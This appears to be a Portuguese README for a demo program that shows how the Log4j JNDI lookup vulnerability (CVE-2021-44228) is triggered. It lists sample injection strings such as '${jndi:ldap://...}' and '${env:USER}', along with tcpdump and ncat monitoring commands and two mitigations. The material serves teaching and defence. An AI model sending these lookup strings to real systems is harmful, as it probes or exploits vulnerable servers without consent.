Log4j_Vulnerability_Demo

Um programa simples para demonstrar como a vulnerabilidade do Log4j pode ser explorada ( CVE-2021-44228 )

Executando a Demonstração :

Para iniciar o programa, basta executar o start.sh ( em sistemas UNIX ) ou o start.bat no Windows.

A entrada do usuário será lida e registrada no console usando o framework Log4j.

Por padrão, as mensagens de log geradas pela biblioteca Log4j não fornecem nenhum erro de servidor inacessível / host não encontrado para as substituições JNDI. ( E acho que essa também é uma das principais razões pelas quais essa vulnerabilidade pode ser explorada de forma furtiva )

Também tente usar subdomínios, como ${jndi:ldap://test29.google.com/blah} , às vezes a chamada JNDI aguardará a resposta do servidor remoto e é por isso que o programa parece estar travado enquanto, na verdade, fez uma tentativa de conexão em segundo plano. Se você usar subdomínios que não existem, a chamada JNDI será encerrada rapidamente após fazer uma tentativa de conexão e o programa continuará.

Recomendo que você execute o programa em um shell e execute o comando " tcpdump -i any | grep google " em outro shell em paralelo e, em seguida, forneça entradas ao programa para ver se ele fez uma tentativa de conexão.

Log4j_Vulnerability_Demo

Mais Populares

Algumas entradas de exemplo :

Exemplos que podem ser mais do que apenas uma mensagem de log :

${env:USER} ( UNIX )

${env:USERNAME} ( Windows )

${jndi:ldap://test.java.net}

${jndi:ldap://localhost:12000}

Monitoramento :

tcpdump -i any | grep -i "java.net"

ncat -k -vv -c "echo hi" -l 12000

Removendo a Classe JndiLookup para mitigar a vulnerabilidade :

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Isso excluirá o JndiLookup.class do Jar principal do Log4j.

Execute o mesmo programa após a etapa acima; o programa não deve fazer nenhuma tentativa de conexão / substituição JNDI.

Outra forma de desabilitar as Consultas JNDI

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Esta variável de ambiente desabilitará as consultas JNDI para a sessão atual.

Log4j_Vulnerability_Demo

Mais Populares

Log4j_Vulnerability_Demo

Executando a Demonstração :

Substituições do Log4j em ação :

Tentando Conexões Remotas:

Algumas entradas de exemplo :

Exemplos que podem ser mais do que apenas uma mensagem de log :

${env:USER} ( UNIX )

${env:USERNAME} ( Windows )

${jndi:ldap://test.java.net}

${jndi:ldap://localhost:12000}

Monitoramento :

tcpdump -i any | grep -i "java.net"

ncat -k -vv -c "echo hi" -l 12000

Removendo a Classe JndiLookup para mitigar a vulnerabilidade :

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Isso excluirá o JndiLookup.class do Jar principal do Log4j.

Execute o mesmo programa após a etapa acima; o programa não deve fazer nenhuma tentativa de conexão / substituição JNDI.

Outra forma de desabilitar as Consultas JNDI

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Esta variável de ambiente desabilitará as consultas JNDI para a sessão atual.